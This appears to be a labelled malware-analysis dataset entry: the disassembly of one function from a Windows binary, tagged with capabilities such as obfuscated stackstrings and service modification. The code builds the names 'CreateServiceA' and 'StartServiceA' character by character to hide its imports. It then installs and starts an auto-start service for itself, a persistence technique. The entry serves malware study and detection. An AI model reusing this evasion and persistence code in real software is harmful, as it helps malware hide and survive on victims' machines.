Function at 0x1001fdc0
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Modify service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x478
mov eax, dword [0x10098688]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
mov dword [0x10099b20], eax
mov ecx, dword [ebp + 0x10]
mov dword [0x10099b24], ecx
mov edx, dword [ebp + 0xc]
mov dword [0x10099b28], edx
mov byte [ebp - 0x440], 0
push 0x3ff
push 0
lea eax, [ebp - 0x43f]
push eax
call fcn.1005ec70
add esp, 0xc
lea ecx, [ebp - 0x440]
push ecx
call fcn.1001be80
add esp, 4
lea edx, [ebp - 0x440]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x1001fe2f
jmp 0x1002035e
lea ecx, [ebp - 0x450]
call fcn.10004f40
mov eax, 1
imul eax, eax, 6
mov byte [ebp + eax - 0x10], 0x72
mov ecx, 1
imul ecx, ecx, 0xb
mov dword [ebp - 0x46c], ecx
cmp dword [ebp - 0x46c], 0xc
jae 0x1001fe60
jmp 0x1001fe65
call fcn.1005a87f
mov edx, dword [ebp - 0x46c]
mov byte [ebp + edx - 0x10], 0
mov eax, 1
imul eax, eax, 0
mov byte [ebp + eax - 0x10], 0x25
mov ecx, 1
shl ecx, 2
mov byte [ebp + ecx - 0x10], 0x73
mov edx, 1
shl edx, 0
mov byte [ebp + edx - 0x10], 0x73
mov eax, 1
shl eax, 1
mov byte [ebp + eax - 0x10], 0x20
mov ecx, 1
imul ecx, ecx, 9
mov byte [ebp + ecx - 0x10], 0x63
mov edx, 1
imul edx, edx, 0xa
mov byte [ebp + edx - 0x10], 0x65
mov eax, 1
shl eax, 3
mov byte [ebp + eax - 0x10], 0x69
mov ecx, 1
imul ecx, ecx, 7
mov byte [ebp + ecx - 0x10], 0x76
mov edx, 1
imul edx, edx, 5
mov byte [ebp + edx - 0x10], 0x65
mov eax, 1
imul eax, eax, 3
mov byte [ebp + eax - 0x10], 0x2d
lea ecx, [ebp - 0x440]
push ecx
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x450]
push eax
call fcn.100045a0
add esp, 0xc
lea ecx, [ebp - 0x440]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push eax
lea ecx, [ebp - 0x448]
call fcn.10004cb0
lea ecx, [ebp - 0x448]
call fcn.100043f0
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionA]
push 0xffffffffffffffff
lea ecx, [ebp - 0x448]
call fcn.10004100
lea edx, [ebp - 0x448]
push edx
lea ecx, [ebp - 0x454]
call fcn.10004930
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x45c], eax
cmp dword [ebp - 0x45c], 0
jne 0x1001ff96
lea ecx, [ebp - 0x454]
call fcn.10004ee0
lea ecx, [ebp - 0x448]
call fcn.10004ee0
lea ecx, [ebp - 0x450]
call fcn.10004ee0
jmp 0x1002035e
mov eax, 1
imul eax, eax, 6
mov byte [ebp + eax - 0x20], 0x33
mov ecx, 1
imul ecx, ecx, 5
mov byte [ebp + ecx - 0x20], 0x69
mov edx, 1
shl edx, 2
mov byte [ebp + edx - 0x20], 0x70
mov eax, 1
imul eax, eax, 9
mov byte [ebp + eax - 0x20], 0x64
mov ecx, 1
imul ecx, ecx, 0xa
mov byte [ebp + ecx - 0x20], 0x6c
mov edx, 1
imul edx, edx, 0
mov byte [ebp + edx - 0x20], 0x41
mov eax, 1
shl eax, 3
mov byte [ebp + eax - 0x20], 0x2e
mov ecx, 1
imul ecx, ecx, 0xc
mov dword [ebp - 0x464], ecx
cmp dword [ebp - 0x464], 0xd
jae 0x1002000a
jmp 0x1002000f
call fcn.1005a87f
mov edx, dword [ebp - 0x464]
mov byte [ebp + edx - 0x20], 0
mov eax, 1
imul eax, eax, 0xb
mov byte [ebp + eax - 0x20], 0x6c
mov ecx, 1
shl ecx, 1
mov byte [ebp + ecx - 0x20], 0x76
mov edx, 1
imul edx, edx, 7
mov byte [ebp + edx - 0x20], 0x32
mov eax, 1
shl eax, 0
mov byte [ebp + eax - 0x20], 0x64
mov ecx, 1
imul ecx, ecx, 3
mov byte [ebp + ecx - 0x20], 0x61
lea edx, [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x460], eax
mov dword [ebp - 0x458], 0
mov dword [ebp - 0x470], 0
cmp dword [ebp - 0x460], 0
je 0x10020268
mov eax, 1
imul eax, eax, 3
mov byte [ebp + eax - 0x40], 0x61
mov ecx, 1
shl ecx, 0
mov byte [ebp + ecx - 0x40], 0x72
mov edx, 1
imul edx, edx, 0xd
mov byte [ebp + edx - 0x40], 0x41
mov eax, 1
shl eax, 1
mov byte [ebp + eax - 0x40], 0x65
mov ecx, 1
imul ecx, ecx, 6
mov byte [ebp + ecx - 0x40], 0x53
mov edx, 1
imul edx, edx, 5
mov byte [ebp + edx - 0x40], 0x65
mov eax, 1
imul eax, eax, 9
mov byte [ebp + eax - 0x40], 0x76
mov ecx, 1
shl ecx, 2
mov byte [ebp + ecx - 0x40], 0x74
mov edx, 1
imul edx, edx, 0xb
mov byte [ebp + edx - 0x40], 0x63
mov eax, 1
imul eax, eax, 7
mov byte [ebp + eax - 0x40], 0x65
mov ecx, 1
shl ecx, 3
mov byte [ebp + ecx - 0x40], 0x72
mov edx, 1
imul edx, edx, 0xc
mov byte [ebp + edx - 0x40], 0x65
mov eax, 1
imul eax, eax, 0xa
mov byte [ebp + eax - 0x40], 0x69
mov ecx, 1
imul ecx, ecx, 0
mov byte [ebp + ecx - 0x40], 0x43
mov edx, 1
imul edx, edx, 0xe
mov dword [ebp - 0x474], edx
cmp dword [ebp - 0x474], 0xf
jae 0x10020159
jmp 0x1002015e
call fcn.1005a87f
mov eax, dword [ebp - 0x474]
mov byte [ebp + eax - 0x40], 0
lea ecx, [ebp - 0x40]
push ecx
mov edx, dword [ebp - 0x460]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x458], eax
mov eax, 1
imul eax, eax, 3
mov byte [ebp + eax - 0x30], 0x72
mov ecx, 1
shl ecx, 0
mov byte [ebp + ecx - 0x30], 0x74
mov edx, 1
imul edx, edx, 5
mov byte [ebp + edx - 0x30], 0x53
mov eax, 1
imul eax, eax, 0xd
mov dword [ebp - 0x468], eax
cmp dword [ebp - 0x468], 0xe
jae 0x100201c0
jmp 0x100201c5
call fcn.1005a87f
mov ecx, dword [ebp - 0x468]
mov byte [ebp + ecx - 0x30], 0
mov edx, 1
imul edx, edx, 7
mov byte [ebp + edx - 0x30], 0x72
mov eax, 1
imul eax, eax, 0xc
mov byte [ebp + eax - 0x30], 0x41
mov ecx, 1
shl ecx, 3
mov byte [ebp + ecx - 0x30], 0x76
mov edx, 1
shl edx, 1
mov byte [ebp + edx - 0x30], 0x61
mov eax, 1
imul eax, eax, 9
mov byte [ebp + eax - 0x30], 0x69
mov ecx, 1
imul ecx, ecx, 0xb
mov byte [ebp + ecx - 0x30], 0x65
mov edx, 1
imul edx, edx, 0
mov byte [ebp + edx - 0x30], 0x53
mov eax, 1
imul eax, eax, 6
mov byte [ebp + eax - 0x30], 0x65
mov ecx, 1
imul ecx, ecx, 0xa
mov byte [ebp + ecx - 0x30], 0x63
mov edx, 1
shl edx, 2
mov byte [ebp + edx - 0x30], 0x74
lea eax, [ebp - 0x30]
push eax
mov ecx, dword [ebp - 0x460]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x470], eax
cmp dword [ebp - 0x458], 0
je 0x10020330
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x450]
call fcn.100040e0
push eax
push 1
push 2
push 0x10
push 0xf01ff
lea ecx, [ebp - 0x454]
call fcn.100040e0
push eax
lea ecx, [ebp - 0x448]
call fcn.100040e0
push eax
mov edx, dword [ebp - 0x45c]
push edx
call dword [ebp - 0x458]
mov dword [ebp - 0x44c], eax
cmp dword [ebp - 0x44c], 0
je 0x10020330
lea ecx, [ebp - 0x454]
call fcn.100043f0
mov dword [ebp - 0x478], eax
lea eax, [ebp - 0x478]
push eax
push 1
mov ecx, dword [ebp - 0x44c]
push ecx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov byte [ebp - 0x441], 0
push 0
push 0
mov edx, dword [ebp - 0x44c]
push edx
call dword [ebp - 0x470]
test eax, eax
je 0x10020314
mov byte [ebp - 0x441], 1
mov eax, dword [ebp - 0x44c]
push eax
call fcn.100173e0
add esp, 4
mov ecx, dword [ebp - 0x44c]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edx, dword [ebp - 0x45c]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea ecx, [ebp - 0x454]
call fcn.10004ee0
lea ecx, [ebp - 0x448]
call fcn.10004ee0
lea ecx, [ebp - 0x450]
call fcn.10004ee0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005c9a6
mov esp, ebp
pop ebp
ret